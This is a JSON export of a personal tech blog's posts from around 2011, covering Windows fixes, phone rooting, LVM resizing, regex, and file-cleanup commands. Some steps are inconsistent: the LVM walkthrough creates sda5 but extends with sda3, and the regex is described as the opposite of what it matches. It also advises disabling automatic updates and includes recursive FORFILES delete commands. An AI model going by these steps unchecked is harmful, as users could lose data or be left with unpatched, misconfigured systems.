:)\u003c/li\u003e\n\u003cli\u003eNow point to start \u0026gt; programs \u0026gt; accessories \u0026gt; system tools \u0026gt; system restore\u003c/li\u003e\n\u003cli\u003eRestore your windows a couple of days earlier\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eIf you don\u0026rsquo;t restore you windows you must manually fix the file permissions. Everything looks fine but if you see your event viewer you see a lot of (networking) profile troubles.\u003c/p\u003e","title":"[WINXP] \\WINDOWS\\SYSTEM32\\CONFIG\\SYSTEM missing or corrupt"},{"content":"YUMI (Your Universal Multiboot Installer), is the successor to MultibootISOs. It can be used to create a Multiboot USB Flash Drive containing multiple operating systems, antivirus utilities, disc cloning, diagnostic tools, and more. Contrary to MultiBootISO\u0026rsquo;s which used grub to boot ISO files directly from USB, YUMI uses syslinux to boot extracted distributions stored on the USB device, and reverts to using grub to Boot Multiple ISO files from USB, if necessary.\nAside from a few distributions, all files are stored within the Multiboot folder, making for a nicely organized Multiboot Drive that can still be used for other storage purposes.\nCreating a YUMI Multiboot MultiSystem USB Flash Drive YUMI works much like Universal USB Installer, except it can be used to install more than one distribution to run from your USB. Distributions can also be uninstalled using the same tool!\nYUMI\u0026rsquo;s Main Multiboot Boot Menu How to Create a MultiBoot USB Flash Drive Run* YUMI-0.0.2.9.exe following the onscreen instructions Run the tool again to Add More ISOs/Distributions to your Drive Restart your PC setting it to boot from the USB device Select a distribution to Boot from the Menu and enjoy! That\u0026rsquo;s all there is to it. You should now be booting your favorite distributions from your custom Multi-Boot USB device!\nHow It Works: YUMI (Your Universal Multiboot Installer) enables each user to create their own custom Multiboot UFD containing only the distributions they want, in the order by which they are installed. A new distribution can be added to the UFD each time the tool is run.\nIf you run YUMI from the same location you store ISO downloads, they should be auto-detected (*See Known Issues Below), eliminating the need to browse for each ISO.\nVERY IMPORTANT: Windows Vista or 7 Installers will cause Ubuntu or any remix based on Ubuntu (I.E. Linux Mint) to hang during boot. A quick fix is to temporarily rename the Windows SOURCES folder found at the root of the USB device.\nOther Notes: If MultibootISOs was previously used, you must reformat the drive and start over. YUMI uses Syslinux directly, and chainloads to grub only if necessary, so it is not compatible with the older Multiboot ISO tool. Although I do plan to add back the capabilities of MultibootISOs as time permits.\nThe distro uninstaller works great, but unlisted ISO\u0026rsquo;s that have been added must currently be manually removed!\nSource: http://www.pendrivelinux.com/yumi-multiboot-usb-creator/\n","permalink":"https://blog.wapnet.nl/2011/09/yumi-multiboot-usb-creator-windows/","summary":"\u003cp\u003eYUMI (Your Universal Multiboot Installer), is the successor to MultibootISOs. It can be used to create a Multiboot USB Flash Drive containing multiple operating systems, antivirus utilities, disc cloning, diagnostic tools, and more. Contrary to MultiBootISO\u0026rsquo;s which used grub to boot ISO files directly from USB, YUMI uses syslinux to boot extracted distributions stored on the USB device, and reverts to using grub to \u003cem\u003eBoot Multiple ISO files from USB\u003c/em\u003e, if necessary.\u003c/p\u003e","title":"YUMI – Multiboot USB Creator (Windows)"},{"content":"If you use a lot of remote desktop connections visionapp is a very nice freeware tool to manage them. You can also manage SSH, Telnet, VNC and ICA clients with this software.\n","permalink":"https://blog.wapnet.nl/2011/09/visionapp-rdp-management/","summary":"\u003cp\u003eIf you use a lot of remote desktop connections \u003ca href=\"http://www.visionapp.com/germany/info-center/downloads.html\"\u003evisionapp\u003c/a\u003e is a very nice freeware tool to manage them. You can also manage SSH, Telnet, VNC and ICA clients with this software.\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2011/09/visionapp.png\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2011/09/visionapp.png\"\u003e\u003c/a\u003e\u003c/p\u003e","title":"[VisionAPP] RDP Management"},{"content":"The Samsung Galaxy S default (aka stock) ROM has a good ROM but after some time the ROM become slower and slower. I will describe the steps for rooting the phone, backup the phone and install a nice cutom ROM.\nI rooted a stock phone with android 2.3.3. Older versions can use this tutorial also. Newer versions maybe work.\nI am not responsible when you brick your phone with this steps.\nTurn on USB debugging mode on your phone (settings \u0026gt; programs \u0026gt; enable usb debugging) Download and install the samsung galaxy s drivers Download SuperOneClick and extract it (e.g. c:\\android\\root\\) Start SuperOneClick and press update Now click root. SuperOneClick then must download an exploit to root your phone After the software download the exploit close SuperOneClick Go to the extracted directory e.g. c:\\android\\root\\devices\\samsung\\common\\ and start odin.exe All the default settings are fine. Click on PDA then select c:\\android\\root\\devices\\samsung\\gti9000\\CF-Root-XW_NEE_JVH-v3.2-CWM3RFS.tar Start flashing ok your phone is rooted now :) Now we want to backup the phone to SD so we can always back to stock settings\nIn your apps list there is a new program CWM recovery start these Now make a full backup After you have the full backup make a backup of all your contacts, sms, etc and download MyBackup root at the marked (free) and make a backup of everything you want. ok youre phone is rooted and we have a backup. Now we can install the ROM\nDownload a nice and stable ROM like Darky ROM 10.2 and put this file on the root of your SD card Go to the market and download DarkyROM Tool Now start the DarkyROM Tool go to the second tab and select all (important: delete user data must selected otherwise you get a very unstable ROM) Go to the first tab and select flash rom. Select the file you\u0026rsquo;ve put on the SD card and flash it The flashing take a minute of ten. After that the new rom is started and you think you have a new phone :) Now download MyBackup root again and restore your call recordings, sms, phone numbers etc. Enjoy :)\nYoutube video for the DarkyROM flash:\nDarkyROM video\n","permalink":"https://blog.wapnet.nl/2011/09/easiest-way-for-custom-on-rom-samsung-galaxy-s/","summary":"\u003cp\u003eThe Samsung Galaxy S default (aka stock) ROM has a good ROM but after some time the ROM become slower and slower. I will describe the steps for rooting the phone, backup the phone and install a nice cutom ROM.\u003c/p\u003e\n\u003cp\u003eI rooted a stock phone with android 2.3.3. Older versions can use this tutorial also. Newer versions maybe work.\u003c/p\u003e\n\u003cp\u003eI am not responsible when you brick your phone with this steps.\u003c/p\u003e","title":"Easiest way for custom on ROM Samsung Galaxy S"},{"content":"One of the worst things you can do on the internet is use the same password for different websites. When one of the webites is hacked or there is an bad sysadmin they can use your password to login your email or other sites to steal all your private information and worst case scenario your bank account.\nEvery self respected browser has an built-in password safer but when your computer/laptop is stolen or hacked by a mad person (in dutch we call them klootzakken ;) ) they can easily steal all your passwords. So don\u0026rsquo;t use the built-in password safer (or configure a strong master password).\nThere are two great solutions for managing your passwords. One is a local and one is a cloud solution. I will describe them both so you can choose what is best for you.\nKeePass (local): KeePass is a great tool for managing your passwords. There is an built-in password generator, the passwords saved in one local encrypted file and you must always give up a master key to access the passwords. The tool is crossplatform (using .net/mono) and there are a lot of plugins, example; there is a browser plugin to replace the insecure built-in pass safer. The great thing about this tool is that is is an local tool so only you can access and manage the password files. If you want to share the password file on multiple places you can use dropbox to synchronise/centralise the password files.\nLastPass (cloud): LastPass is also a great tool for managing your password especialy when you use multiple computers and different operating systems. LastPass replaces the default integrated browser password safer with his own. Your password stored localy and in the cloud and are encrypted. Without the master password it is not possible to automatic login or see your password. I like LastPass because tons of options and integration with all the operating systems and smartphones. The default settings are good but I recommend that you change the setting that the LastPass is logoff automaticly when you close the browser.\nThe only thing you must keep in mind that you password is in sync at LastPass (cloud) so you must trust the company.\nKeep in mind That using multiple random words password (example: \u0026ldquo;correct battery horse staple\u0026rdquo;) mostly of the time is better then using complex passwords ( \u0026ldquo;Tr0ub4dor\u0026amp;3\u0026rdquo;). This picture tells why:\nLast but not least Always use a BIOS password on a laptop. Most of the thief\u0026rsquo;s are very dumb people and if they stole you laptop they cannot remove the BIOS password and your laptop is useless for them.\n","permalink":"https://blog.wapnet.nl/2011/09/manage-multiple-passwords-for-different-websites/","summary":"\u003cp\u003eOne of the worst things you can do on the internet is use the same password for different websites. When one of the webites is hacked or there is an bad sysadmin they can use your password to login your email or other sites to steal all your private information and worst case scenario your bank account.\u003c/p\u003e\n\u003cp\u003eEvery self respected browser has an built-in password safer but when your computer/laptop is stolen or hacked by a mad person (in dutch we call them klootzakken ;) ) they can easily steal all your passwords. So don\u0026rsquo;t use the built-in password safer (or \u003ca href=\"http://luxsci.com/blog/master-password-encryption-in-firefox-and-thunderbird.html\"\u003econfigure\u003c/a\u003e a strong master password).\u003c/p\u003e","title":"Manage multiple passwords for different websites"},{"content":"There is a very nice opensource / freeware tool you can use to control multiple PC\u0026rsquo;s like KVM. It\u0026rsquo;s compatible with Linux, OSX and Windows.\nQuote:\nWhat is Synergy? Do you have two computers at your desk, with two screens and two sets of keyboard and mouse? Here\u0026rsquo;s where Synergy comes in\u0026hellip;\n\u0026hellip; Synergy is Free and Open Source Software that lets you easily share your mouse and keyboard between multiple computers, where each computer has its own display. No special hardware is required, just a network connection. Synergy is supported on Windows, Mac OS X and Linux. Usage is as simple as moving the mouse off the edge of your screen. You can even share your clipboard.\nDownload: http://synergy-foss.org/download/\n","permalink":"https://blog.wapnet.nl/2011/09/use-one-mouse-and-keyboard-to-control-multiple-pcs-crossplatform/","summary":"\u003cp\u003eThere is a very nice opensource / freeware tool you can use to control multiple PC\u0026rsquo;s like KVM. It\u0026rsquo;s compatible with Linux, OSX and Windows.\u003c/p\u003e\n\u003cp\u003eQuote:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2 id=\"what-is-synergy\"\u003eWhat is Synergy?\u003c/h2\u003e\n\u003cp\u003eDo you have two computers at your desk, with two screens and two sets of keyboard and mouse? Here\u0026rsquo;s where Synergy comes in\u0026hellip;\u003c/p\u003e\n\u003cp\u003e\u0026hellip; \u003cstrong\u003eSynergy\u003c/strong\u003e is Free and Open Source Software that lets you easily share your mouse and keyboard between multiple computers, where each computer has its own display. No special hardware is required, just a network connection. Synergy is supported on Windows, Mac OS X and Linux. Usage is as simple as moving the mouse off the edge of your screen. You can even share your clipboard.\u003c/p\u003e\n\u003c/blockquote\u003e","title":"Use one mouse and keyboard to control multiple PC's (Crossplatform)"},{"content":"The solutions is block the rt2800usb\necho \u0026lsquo;blacklist rt2800usb\u0026rsquo; | sudo tee -a /etc/modprobe.d/blacklist.conf\nrestart, and try this\necho \u0026lsquo;install rt2870sta modprobe \u0026ndash;ignore-install rt2870sta ; /bin/echo \u0026ldquo;0df6 0040\u0026rdquo; \u0026gt; /sys/bus/usb/drivers/rt2870/new_id\u0026rsquo; | sudo tee /etc/modprobe.d/rt2870sta.conf sudo modprobe rt2870sta dmesg | egrep \u0026lsquo;rt28|usb|Phy\u0026rsquo; iwconfig sudo iwlist scan\n(the first Line allocate the Chipset-ID to the driver rt2870sta)\nIf the solution works, activiate it automatically by a new udev-Rule\nsudo gedit /etc/udev/rules.d/10-wlan.rules\nInsert the following code and save the file\nUDEV-Rule for Sitecom WL-344 ID 0df6:0040 SUBSYSTEM==\u0026ldquo;usb\u0026rdquo;, SYSFS{idVendor}==\u0026ldquo;0df6\u0026rdquo;, SYSFS{idProduct}==\u0026ldquo;0040\u0026rdquo;, RUN+=\u0026quot;/sbin/modprobe rt2870sta\u0026quot;\nActivate it (or restart)\nsudo service udev reload\nCredits: flash63 Source: http://ubuntuforums.org/showthread.php?t=1514196\n","permalink":"https://blog.wapnet.nl/2011/09/sitecom-wl-344-wireless-not-working/","summary":"\u003cp\u003eThe solutions is block the rt2800usb\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eecho \u0026lsquo;blacklist rt2800usb\u0026rsquo; | sudo tee -a /etc/modprobe.d/blacklist.conf\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003erestart, and try this\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eecho \u0026lsquo;install rt2870sta modprobe \u0026ndash;ignore-install rt2870sta ; /bin/echo \u0026ldquo;0df6 0040\u0026rdquo; \u0026gt; /sys/bus/usb/drivers/rt2870/new_id\u0026rsquo; | sudo tee /etc/modprobe.d/rt2870sta.conf\nsudo modprobe rt2870sta\ndmesg | egrep \u0026lsquo;rt28|usb|Phy\u0026rsquo;\niwconfig\nsudo iwlist scan\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e(the first Line allocate the Chipset-ID to the driver rt2870sta)\u003c/p\u003e\n\u003cp\u003eIf the solution works, activiate it automatically by a new udev-Rule\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003esudo gedit /etc/udev/rules.d/10-wlan.rules\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eInsert the following code and save the file\u003c/p\u003e","title":"Sitecom WL-344 wireless not working"},{"content":"A very great freeware tool to real-time monitor your server or workstation is eventsentry @ http://www.eventsentry.com/\nThis tool wil sent all windows event viewer errors and warnings to your desktop and/or email. You can simply add filters when you don\u0026rsquo;t want to see everything.\n","permalink":"https://blog.wapnet.nl/2011/09/get-total-control-of-your-server-or-workstation/","summary":"\u003cp\u003eA very great freeware tool to real-time monitor your server or workstation is eventsentry @ \u003ca href=\"http://www.eventsentry.com/\"\u003ehttp://www.eventsentry.com/\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eThis tool wil sent all windows event viewer errors and warnings to your desktop and/or email. You can simply add filters when you don\u0026rsquo;t want to see everything.\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2011/09/eventsentry.png\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2011/09/eventsentry.png\"\u003e\u003c/a\u003e\u003c/p\u003e","title":"Get total control of your server or workstation"},{"content":"How to Disable TrustedInstaller.exe TrustedInstaller.exe is the Windows Module Installer program used in the Windows Vista operating system. The process works in conjunction with Windows Integrated Update in Windows Vista. The program is known to run randomly and consume up to 100% of CPU causing dramatic slowdown in the performance of a Windows Vista computer. Trustedinstaller.exe holds the rights to some essential Windows Vista programs and applications, which means that trustedinstaller.exe gets blanket authority to do whatever is necessary and use as much of the system resources, CPU and RAM as needed.\nAfter a program or application is trustedinstaller.exe approved, Windows Vista considers it as an essential system resource and Windows gives it as much CPU as required.\nHow to Fix High CPU Usage Problem Caused by TrustedInstaller.exe Let’s have a look at some of the methods that you can use to resolve the issue: Method 1: Clear Problem History\nThe following fix is intended for situations where trustedinstaller.exe causes problems due to the Problem Reports and Solutions history maintained in Windows Vista.\nGo to Start and then select Control Panel. Turn on Classic View. Select Problem Reports and Solutions. Click Clear Solution and Problem History in the left panel. Confirm your decision. Exit the Problems Reports and Solutions Window and Control Panel. A variation to this fix is to click Change in the Problems Reports and Solutions Window. And then modify the configuration from Check for solutions automatically setting to Ask me to check if a problem occurs.\nMethod 2: Change Microsoft Update Startup Settings to Manual\nGo to Start and then select Control Panel. Select Administrative Tools and then select Services . Scroll down to Microsoft Update, right-click on it and then select Stop. Right-click on Microsoft Update again and select Properties. On the General tab, set Startup type as Manual. Next, display the Recovery tab. Choose Take No Action and click OK for First Failure. Exit the properties dialog box. Bring up your Task Manager by pressing on Ctrl + Alt + Del or Ctrl + Shift + Esc simultaneously. On the Processes tab, look for and select trustedinstaller.exe. Click End process to kill trustedinstaller.exe. Method 3: Disable Automatic Update\nGo to Start and then select Control Panel.\nGo to System and Maintenance.\nClick Turn automatic update on or off option.\nNext, depending on your preference choose one of the following options:\nNever check for updates (not recommended)\nCheck for updates but let me choose whether to download and install them\nDownload updates but let me choose whether to install them\nClick OK to save your changes and exit the dialog box.\nMethod 4: Stop the Windows Module Installer That Runs Trustedinstaller.exe\nClick on Start,in the Start Search box, type msconfig and then press Enter. Click Continue when User Account Control prompt is displayed. In the System Configuration window that is displayed, open the Services tab. Locate and clear the Windows Module Installer check box. Click OK save your changes and exit the dialog box. Next, open Services window again and change the Startup type of Windows Module Installer to Manual. Method 5: Install Windows Vista Service Pack 1\nSource: http://www.exe-error-fixes.com/disable-trustedinstallerexe/\n","permalink":"https://blog.wapnet.nl/2011/09/instantly-fix-trustedinstaller-exe-errors/","summary":"\u003ch1 id=\"how-to-disable-trustedinstallerexe\"\u003eHow to Disable TrustedInstaller.exe\u003c/h1\u003e\n\u003cp\u003eTrustedInstaller.exe is the Windows Module Installer program used in the Windows Vista operating system. The process works in conjunction with Windows Integrated Update in Windows Vista. The program is known to run randomly and consume up to 100% of CPU causing dramatic slowdown in the performance of a Windows Vista computer. Trustedinstaller.exe holds the rights to some essential Windows Vista programs and applications, which means that trustedinstaller.exe gets blanket authority to do whatever is necessary and use as much of the system resources, CPU and RAM as needed.\u003c/p\u003e","title":"Instantly Fix TrustedInstaller.exe Errors"},{"content":"All the credits go to Arjen Visser @ http://www.dbvisit.com/forums/showthread.php?t=343. I add his article and I edited a little because of some error I get and I a\u0026rsquo;m able to find it quickly the next time :)\nHere is the current file system. It needs another 3Gb on the LogVol00 filesystem. The Linux system is a VMware virtual system with Virtual disks.\n[root@dbvrac1 ~]# df -k Filesystem 1K-blocks Used Available Use% Mounted on /dev/mapper/VolGroup00-LogVol00 9127580 6692828 1971088 78% / /dev/sda1 101086 12651 83216 14% /boot none 596544 0 596544 0% /dev/shm The partitions are as follows\n[root@dbvrac1 ~]# sfdisk -s /dev/sda: 10485760 /dev/sdb: 10485760 /dev/sdc: 10485760 /dev/sdd: 10485760 /dev/sde: 10485760 /dev/sdf: 10485760 First the Vmware virtual disks needs to increase. 13Gb is the new size. Shutdown the Vmware guest and resize the disk on the Vmware host:\n# vmware-vdiskmanager -x 13GB dbvrac1.vmdk Using log file /tmp/vmware-root/vdiskmanager.log The old geometry C/H/S of the disk is: 1305/255/63 The new geometry C/H/S of the disk is: 1697/255/63 Disk expansion completed successfully. Start up the Vmware guest again. This has added space on the /dev/sda partition. This can be seen by running sfdisk -s again:\n[root@dbvrac1 ~]# sfdisk -s /dev/sda: 13631488 /dev/sdb: 10485760 /dev/sdc: 10485760 /dev/sdd: 10485760 /dev/sde: 10485760 /dev/sdf: 10485760 To use the space, a partition first has to be created on /dev/sda\n[root@dbvrac1 ~]# ls -al /dev/sda* brw-rw---- 1 root disk 8, 0 Jun 29 2009 /dev/sda brw-rw---- 1 root disk 8, 1 Jun 29 2009 /dev/sda1 brw-rw---- 1 root disk 8, 2 Jun 29 2009 /dev/sda2 The new partition will be /dev/sda3.\n[root@dbvrac1 /]# fdisk /dev/sda Command (m for help): n Command action e extended p primary partition (1-4) p Partition number (1-4): 3 First cylinder (1306-1697, default 1306): Using default value 1306 Last cylinder or +size or +sizeM or +sizeK (1306-1697, default 1697): Using default value 1697 Command (m for help): w The partition table has been altered! Calling ioctl() to re-read partition table. Syncing disks. Validate that the new partition has been created [root@dbvrac1 ~]# ls -al /dev/sda* brw-rw---- 1 root disk 8, 0 Jun 29 2009 /dev/sda brw-rw---- 1 root disk 8, 1 Jun 29 2009 /dev/sda1 brw-rw---- 1 root disk 8, 2 Jun 29 2009 /dev/sda2 brw-rw---- 1 root disk 8, 2 Jun 29 2009 /dev/sda3 /dev/sda3 is the new partition. Reboot to load the new partition into the kernel.Create a physical volume for LVM: [root@dbvrac1 ~]# pvcreate /dev/sda3 Physical volume \u0026#34;/dev/sda3\u0026#34; successfully created I had some problems and get the error: Device /dev/sda3 not found (or ignored by filtering). To fix thix error:\nCommand (m for help): n Command action l logical (5 or over) p primary partition (1-4) l First cylinder (6267-7832, default 6267): Using default value 6267 Last cylinder or +size or +sizeM or +sizeK (6267-7832, default 7832): Using default value 7832 Command (m for help): w The partition table has been altered! Calling ioctl() to re-read partition table. Syncing disks. Validate that the new partition has been created [root@dbvrac1 ~]# ls -al /dev/sda* brw-rw---- 1 root disk 8, 0 Jun 29 2009 /dev/sda brw-rw---- 1 root disk 8, 1 Jun 29 2009 /dev/sda1 brw-rw---- 1 root disk 8, 2 Jun 29 2009 /dev/sda2 brw-rw---- 1 root disk 8, 2 Jun 29 2009 /dev/sda3 brw-rw---- 1 root disk 8, 2 Jun 29 2009 /dev/sda5 and then:\n[root@dbvrac1 ~]# pvcreate /dev/sda5 Physical volume \u0026#34;/dev/sda5\u0026#34; successfully created Add the new physical volume to the volume group:\n[root@dbvrac1 ~]# vgextend VolGroup00 /dev/sda3 Volume group \u0026#34;VolGroup00\u0026#34; successfully extended Extend the logical volume over the new space in the volume group. Find out how much more space can be added:\n[root@dbvrac1 ~]# vgdisplay --- Volume group --- VG Name VolGroup00 System ID Format lvm2 Metadata Areas 2 Metadata Sequence No 4 VG Access read/write VG Status resizable MAX LV 0 Cur LV 2 Open LV 2 Max PV 0 Cur PV 2 Act PV 2 VG Size 12.88 GB PE Size 32.00 MB Total PE 412 Alloc PE / Size 315 / 9.84 GB Free PE / Size 97 / 3.03 GB VG UUID 7yenoW-lzsd-xK8a-j2Vj-qgty-TFXK-L0lhTL There is 3.03Gb available. Extend the volume: [root@dbvrac1 ~]# lvextend -L+3.03G /dev/VolGroup00/LogVol00 Rounding up size to full physical extent 3.03 GB Extending logical volume LogVol00 to 11.88 GB Logical volume LogVol00 successfully resized Resize the filesystem:\n[root@dbvrac1 ~]# resize2fs /dev/VolGroup00/LogVol00 resize2fs 1.35 (28-Feb-2004) /dev/VolGroup00/LogVol00 is mounted; can\u0026#39;t resize a mounted filesystem! Cannot use resize2fs as it is online. Use ext2online instead.\n[root@dbvrac1 ~]# ext2online /dev/VolGroup00/LogVol00 ext2online v1.1.18 - 2001/03/18 for EXT2FS 0.5b Check file system:\n[root@dbvrac1 ~]# df -k Filesystem 1K-blocks Used Available Use% Mounted on /dev/mapper/VolGroup00-LogVol00 12256820 6695112 4940796 58% / /dev/sda1 101086 12651 83216 14% /boot none 596544 0 596544 0% /dev/shm All done! Filesystem has increased from 9127580 to 12256820. Original article: http://www.dbvisit.com/forums/showthread.php?t=343\n","permalink":"https://blog.wapnet.nl/2011/08/extending-lvm-disks-in-linux-using-vmware-virtual-disks/","summary":"\u003cp\u003eAll the credits go to Arjen Visser @ \u003ca href=\"http://www.dbvisit.com/forums/showthread.php?t=343\"\u003ehttp://www.dbvisit.com/forums/showthread.php?t=343\u003c/a\u003e. I add his article and I edited a little because of some error I get and I a\u0026rsquo;m able to find it quickly the next time :)\u003c/p\u003e\n\u003cp\u003eHere is the current file system. It needs another 3Gb on the LogVol00 filesystem. The Linux system is a VMware virtual system with Virtual disks.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e[root@dbvrac1 ~]# df -k\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eFilesystem 1K-blocks Used Available Use% Mounted on\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e/dev/mapper/VolGroup00-LogVol00\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e9127580 6692828 1971088 78% /\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e/dev/sda1 101086 12651 83216 14% /boot\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003enone 596544 0 596544 0% /dev/shm\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe partitions are as follows\u003c/p\u003e","title":"Extending LVM disks in Linux using Vmware virtual disks"},{"content":"If you want to use regular expressions to know if some numerical value is higher then 199 use the following code:\n^\\d{1,2}$|^[1]\\d\\d$\nExplanation:\n^ = String begins with\n\\d = numerical string (character 0-9)\n{1,2} = minimal 1 maximum 2 numerical characters\n$ = end script\n| = OR (to bind 2 regular expressions)\n^ = begins with\n[1] = first character = 1 (if you want to go till 299 it may be [1-2])\n\\d\\d = the next 2 character must be numerical strings\n$ = end\nFor 399 the parameter can be:\n^\\d{1,2}$|^[1,2,3]\\d\\d$\nor\n^\\d{1,2}$|^[1-3]\\d\\d$\nNice freeware regex tool: http://www.radsoftware.com.au/regexdesigner/\nLot of samples: http://www.regular-expressions.info/examples.html\nOnline test: http://www.regexplanet.com/simple/index.html\nVery nice online test tool: https://regex101.com/\nHope this helps :)\n","permalink":"https://blog.wapnet.nl/2011/08/regular-expressions-example/","summary":"\u003cp\u003eIf you want to use regular expressions to know if some numerical value is higher then 199 use the following code:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u003cstrong\u003e^\\d{1,2}$|^[1]\\d\\d$\u003c/strong\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eExplanation:\u003c/p\u003e\n\u003cp\u003e^          = String begins with\u003c/p\u003e\n\u003cp\u003e\\d         = numerical string (character 0-9)\u003c/p\u003e\n\u003cp\u003e{1,2}    = minimal 1 maximum 2 numerical characters\u003c/p\u003e\n\u003cp\u003e$          = end script\u003c/p\u003e\n\u003cp\u003e|           = OR (to bind 2 regular expressions)\u003c/p\u003e\n\u003cp\u003e^          = begins with\u003c/p\u003e\n\u003cp\u003e[1]        = first character = 1 (if you want to go till 299 it may be [1-2])\u003c/p\u003e","title":"Regular Expressions Example"},{"content":"Sometimes you want to show a video that interesting from xx seconds. If you put #t=40s after the youtube video url you forward the video with 40 seconds.\n","permalink":"https://blog.wapnet.nl/2011/08/youtube-forward-xx-seconds/","summary":"\u003cp\u003eSometimes you want to show a video that interesting from xx seconds. If you put \u003cstrong\u003e#t=40s\u003c/strong\u003e after the youtube video url you forward the video with 40 seconds.\u003c/p\u003e","title":"Youtube forward xx seconds"},{"content":"For specific files FORFILES /P \u0026quot;C:\\MyPath\\\u0026quot; /S /M log*.xml /D -30 /C \u0026quot;cmd /c del @file\u0026quot;\nFor files and subfolders: FORFILES /P \u0026quot;C:\\MyPath\\\u0026quot; /S /D -30 /C \u0026quot;cmd /c IF @isdir == TRUE rd /S /Q @path\u0026quot;\n","permalink":"https://blog.wapnet.nl/2011/08/easiest-way-to-delete-old-files/","summary":"\u003cp\u003eFor specific files\n\u003ccode\u003eFORFILES /P \u0026quot;C:\\MyPath\\\u0026quot; /S /M log*.xml /D -30 /C \u0026quot;cmd /c del @file\u0026quot;\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003eFor files and subfolders:\n\u003ccode\u003eFORFILES /P \u0026quot;C:\\MyPath\\\u0026quot; /S /D -30 /C \u0026quot;cmd /c IF @isdir == TRUE rd /S /Q @path\u0026quot;\u003c/code\u003e\u003c/p\u003e","title":"Easiest way to delete old files"},{"content":"Because the HTC Desire has a very small NAND I decide to buy a fast Transcend 16GB Class 10 SDHC to run APPS2SD or DATA2SD hacks.\nTest tool: SD Card Tester Old speed (Samsung Micro SDHC Class2 4GB) Write: 300MB at 2.26MB/s Read: 301MB at 7.53MB/s\nNew speed (Transcend Micro SDHC Class10 16GB) Write: 300MB at 7.46MB/s Read: 301MB at 9.8MB/s\nNice :)\n","permalink":"https://blog.wapnet.nl/2011/08/htc-desire-apps2sd-performance/","summary":"\u003cp\u003eBecause the HTC Desire has a very small NAND I decide to buy a fast Transcend 16GB Class 10 SDHC to run APPS2SD or DATA2SD hacks.\u003c/p\u003e\n\u003cp\u003eTest tool: \u003cstrong\u003eSD Card Tester\u003c/strong\u003e \u003cstrong\u003eOld speed\u003c/strong\u003e (Samsung Micro SDHC Class2 4GB)\nWrite: 300MB at 2.26MB/s\nRead: 301MB at 7.53MB/s\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eNew speed\u003c/strong\u003e (Transcend Micro SDHC Class10 16GB)\nWrite: 300MB at 7.46MB/s\nRead: 301MB at 9.8MB/s\u003c/p\u003e\n\u003cp\u003eNice :)\u003c/p\u003e","title":"HTC Desire APPS2SD Performance"},{"content":" Turn your device ON and Charge the device for 8 hours or more\nUnplug the device and Turn the phone OFF and charge for 1 hour\nUnplug the device Turn ON wait 2 minutes and Turn OFF and charge for another hour\n","permalink":"https://blog.wapnet.nl/2011/08/double-your-htc-battery-life/","summary":"\u003col\u003e\n\u003cli\u003e\n\u003cp\u003eTurn your device ON and Charge the device for 8 hours or more\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eUnplug the device and Turn the phone OFF and charge for 1 hour\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eUnplug the device Turn ON wait 2 minutes and Turn OFF and charge for another hour\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e","title":"Double your HTC battery life"},{"content":"1. Download a free copy of MS Virtual PC 2. Go to http://www.microsoft.com/download/en/details.aspx?id=11575 3. Download your specific image\nImages: Windows_7_IE8, Windows_7_IE9, Windows_Vista_IE7 or Windows_XP_IE6.exe\nAll images are evaluation versions. Perfect for testing purposes :)\nNote passwords for all the images are: Password1\n","permalink":"https://blog.wapnet.nl/2011/07/need-a-internet-explorer-test-system/","summary":"\u003cp\u003e1. Download a \u003ca href=\"http://www.microsoft.com/download/en/details.aspx?id=4580\"\u003efree copy of MS Virtual PC\u003c/a\u003e 2. Go to \u003ca href=\"http://www.microsoft.com/download/en/details.aspx?id=11575\"\u003ehttp://www.microsoft.com/download/en/details.aspx?id=11575\u003c/a\u003e\n3. Download your specific image\u003c/p\u003e\n\u003cp\u003eImages: Windows_7_IE8, Windows_7_IE9, Windows_Vista_IE7 or Windows_XP_IE6.exe\u003c/p\u003e\n\u003cp\u003eAll images are evaluation versions. Perfect for testing purposes :)\u003c/p\u003e\n\u003cp\u003eNote passwords for all the images are:  \u003cstrong\u003ePassword1\u003c/strong\u003e\u003c/p\u003e","title":"Need a (internet explorer) test system?"},{"content":"check: http://www.webpagetest.org\ncheck: http://gtmetrix.com\ncheck: http://builtwith.com\ncheck: http://redbot.org\n","permalink":"https://blog.wapnet.nl/2011/07/very-nice-website-optimalisation-tool/","summary":"\u003cp\u003echeck: \u003ca href=\"http://www.webpagetest.org\"\u003ehttp://www.webpagetest.org\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003echeck: \u003ca 